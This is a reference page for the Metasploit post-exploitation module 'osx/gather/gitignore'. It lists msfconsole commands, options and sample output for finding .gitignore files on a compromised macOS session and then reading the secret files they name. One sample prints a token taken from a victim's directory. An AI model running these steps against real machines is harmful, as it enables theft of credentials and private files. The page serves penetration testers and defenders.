Git Ignore Retriever - Metasploit
This page contains detailed information about how to use the post/osx/gather/gitignore metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.
Module Overview
Name: Git Ignore Retriever
Module: post/osx/gather/gitignore
Source code: modules/post/osx/gather/gitignore.rb
Disclosure date: -
Last modification time: 2021-04-14 17:47:19 +0000
Supported architecture(s): -
Supported platform(s): OSX
Target service / protocol: -
Target network port(s): -
List of CVEs: -
This module finds potentially sensitive items by finding .gitignore files.
Module Ranking and Traits
Module Ranking:
- normal: The exploit is otherwise reliable, but depends on a specific version and can't (or doesn't) reliably autodetect. More information about ranking can be found here.
Basic Usage
There are two ways to execute this post module.
From the Meterpreter prompt
The first is by using the "run" command at the Meterpreter prompt. It allows you to run the post module against that specific session:
meterpreter > run post/osx/gather/gitignore
From the msf prompt
The second is by using the "use" command at the msf prompt. You will have to figure out which session ID to set manually. To list all session IDs, you can use the "sessions" command.
msf > use post/osx/gather/gitignore
msf post(gitignore) > show options
... show and set options ...
msf post(gitignore) > set SESSION session-id
msf post(gitignore) > exploit
If you wish to run the post against all sessions from framework, here is how:
1 - Create the following resource script:
framework.sessions.each_pair do |sid, session|
run_single("use post/osx/gather/gitignore")
run_single("set SESSION #{sid}")
run_single("run")
end
2 - At the msf prompt, execute the above resource script:
msf > resource path-to-resource-script
Required Options
- SESSION: The session to run this module on.
Knowledge Base
Vulnerable Application
This module finds and retrieves gitignore files from the user's home directory, as well as retrieves the contents of files found in the gitignore.
Verification Steps
- Start msfconsole
- Get at least a user shell
Locate gitignore files:
3. Do: use post/osx/gather/gitignore
4. Do: set session #
5. Do: set mode 1
5. Do: run
6. You should see a list of all gitignore files with absolute path located recurively from the users'r home directory
Retrieve gitignore files:
7. Do: set mode 2
8. Do: set file /absolute/path/to/.gitignore
9. Do run
10. You should see the contents of the gitignore file. If you see anything useful, you can also retrieve these artifacts.
Retrieve sensitive or interesting artifacts:
11. Do: set file /absolute/path/to/sensitive_file
12. Do: run
Options
### MODE Select between enumeration and retrieval mode. Mode 1 is enumeration of all gitignore files recursively in the user's home directory. Mode 2 is used for retrieving file contents should they be ASCII text.
### FILE This is the absolute file path to the .gitignore and/or sensitive file you would like to retrieve.
Scenarios
Gitignore files commonly list items developers don't want leaked and generally contain sensitive information.
Finding gitignore files
msf6 post(osx/gather/gitignore) > set mode 1
msf6 post(osx/gather/gitignore) > set session 1
msf6 post(osx/gather/gitignore) > run
[*] Fetching .gitignore files
[+] /Users/victim/Documents/project/.gitignore
[+] ...
[*] Post module execution completed
Recovering contents of a specific gitignore
msf6 post(osx/gather/gitignore) > set file /Users/victim/project/.gitignore
msf6 post(osx/gather/gitignore) > set mode 2
msf6 post(osx/gather/gitignore) > run
[+] /Users/victim/project/.gitignore
[+] .sensitive_file
[*] Post module execution completed
Recovering contents of a sentitive file
msf6 post(osx/gather/gitignore) > set file /Users/victim/project/.sensitive_file
msf6 post(osx/gather/gitignore) > run
[+] /Users/victim/project/.sensitive_file
[+] PWNED_APPLICATION_TOKEN=cHduZWQgdXIgZ2l0aHVi
[*] Post module execution completed
Go back to menu.
Msfconsole Usage
Here is how the osx/gather/gitignore post exploitation module looks in the msfconsole:
msf6 > use post/osx/gather/gitignore
msf6 post(osx/gather/gitignore) > show info
Name: Git Ignore Retriever
Module: post/osx/gather/gitignore
Platform: OSX
Arch:
Rank: Normal
Provided by:
N!ght Jmp
Compatible session types:
Meterpreter
Shell
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
FILE no Filepath of gitignore/file to retrieve (For mode 2)
MODE no Gitignore retrieval modes: 1). Find gitignore file locations. 2). Retrieve specific gitignore/file contents
SESSION yes The session to run this module on.
Description:
This module finds potentially sensitive items by finding .gitignore
files.
Module Options
This is a complete list of options available in the osx/gather/gitignore post exploitation module:
msf6 post(osx/gather/gitignore) > show options
Module options (post/osx/gather/gitignore):
Name Current Setting Required Description
---- --------------- -------- -----------
FILE no Filepath of gitignore/file to retrieve (For mode 2)
MODE no Gitignore retrieval modes: 1). Find gitignore file locations. 2). Retrieve specific gitignore/file contents
SESSION yes The session to run this module on.
Advanced Options
Here is a complete list of advanced options supported by the osx/gather/gitignore post exploitation module:
msf6 post(osx/gather/gitignore) > show advanced
Module advanced options (post/osx/gather/gitignore):
Name Current Setting Required Description
---- --------------- -------- -----------
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
Post Actions
This is a list of all post exploitation actions which the osx/gather/gitignore module can do:
msf6 post(osx/gather/gitignore) > show actions
Post actions:
Name Description
---- -----------
Evasion Options
Here is the full list of possible evasion options supported by the osx/gather/gitignore post exploitation module in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):
msf6 post(osx/gather/gitignore) > show evasion
Module evasion options:
Name Current Setting Required Description
---- --------------- -------- -----------
Go back to menu.
Error Messages
This module may fail with the following error messages:
Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.
Please set the FILE path!
Here is a relevant code snippet related to the "Please set the FILE path!" error message:
32: elsif mode == 2
33: if !file.to_s.empty?
34: gitignore = cmd_exec("cat #{file}").chomp
35: print_good(file.to_s)
36: print_good(gitignore.to_s)
37: else
38: print_error('Please set the FILE path!')
39: end
40: end
41: end
42: end
Go back to menu.
Related Pull Requests
Go back to menu.
See Also
Check also the following modules related to this module:
- post/osx/gather/apfs_encrypted_volume_passwd
- post/osx/gather/autologin_password
- post/osx/gather/enum_adium
- post/osx/gather/enum_airport
- post/osx/gather/enum_chicken_vnc_profile
- post/osx/gather/enum_colloquy
- post/osx/gather/enum_keychain
- post/osx/gather/enum_messages
- post/osx/gather/enum_osx
- post/osx/gather/hashdump
- post/osx/gather/password_prompt_spoof
- post/osx/gather/safari_lastsession
- post/osx/gather/vnc_password_osx
Authors
- N!ght Jmp
Version
This page has been produced using Metasploit Framework version 6.1.24-dev. For more modules, visit the Metasploit Module Library.
Go back to menu.